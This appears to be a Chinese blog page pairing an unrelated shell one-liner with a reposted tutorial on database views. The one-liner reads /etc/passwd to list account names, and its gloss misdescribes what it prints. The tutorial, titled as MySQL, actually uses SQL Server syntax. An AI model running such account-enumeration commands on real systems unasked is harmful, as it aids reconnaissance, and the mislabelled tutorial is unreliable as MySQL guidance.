cat /etc/passwd |awk -F ‘:’ ‘{print $1}’
以 :分割并打印每行第一个字符

[转]mysql视图

视图

今天用到了数据库的视图功能,其实视图就是一张虚拟表,为你提供了一些联表操作,但是性能上并不好。有时候是做到了数据的一致性,对外提供统一的表。
一、什么是视图

¨ 视图是查看数据库表中数据的一种方法;

¨ 视图提供了存储预定义的查询语句作为数据库中的对象以备以后使用的能力;

¨ 视图只是一种逻辑对象,并不是物理对象,因为视图不占物理存储空间;

¨ 在视图中被查询的表称为视图的基表;

¨ 视图的内容包括:基表的列的子集或者行的子集;两个或者多个基表的联合;两个或者多个基表的连接;基表的统计汇总;另外一个视图的子集;视图和基表的混合。

二、视图的优点

1.集中用户使用的数据;

2.掩码数据库的复杂性,视图把数据库设计的复杂性与用户屏蔽分开;

3.简化用户权限的管理;

4.为向其他应用程序输出而重新组织数据。

第二节 创建视图

1、用企业管理器创建通讯录

2、用企业管理器创建一个成绩单视图

语法

: CREATE VIEW <视图名> [(列名1,列名2,……)]

[WITH ENCRYPTION]

AS

SELECT_STATEMENT

[WITH CHECK OPTION]

功能:创建视图

例1:创建一个成绩单视图

CREATE VIEW dbo.vw_cjd(name, cid, result)

AS

SELECT name, report.cid, report.result FROM student JOIN report

ON student.sid=report.sid

例2:显示成绩单视图

Select * from vw_cjd

例3:创建一个按专业统计平均年龄的视图

CREATE VIEW dbo.vw_avg(speciality, avage)

AS

SELECT speciality, avg(age) FROM student

GROUP BY speciality

例4:显示平均年龄视图

Select * from vw_avg

第三节 修改视图与删除视图

1. 修改视图

语法:ALTER VIEW <视图名> [(列名1,列名2,……)] [WITH ENCRYPTION]

AS

SELECT statement [WITH CHECK OPTION]

例:修改视图vw_cjd

ALTER VIEW vw_cjd

AS

Select name, report.cid, report.result, address From student join report

ON student.sid=report.sid

查看Select * from vw_cjd

2. 删除视图

语法:DROP VIEW <视图名>

例:删除视图vw_cjd

DROP VIEW vw_cjd

第四节 视图定义信息

一、视图定义信息

1.在企业管理体制器中查看

2.查询视图Information_schema.views

3.查询系统表syscomments

4.使用命令 sp_helptext 对象名

二、隐藏视图定义

with encryption

第五节 通过视图修改数据

¨ 只能影响一个基表;

¨ 如果指定WITH CHECK OPTION选项,那么要验证所修改的数据。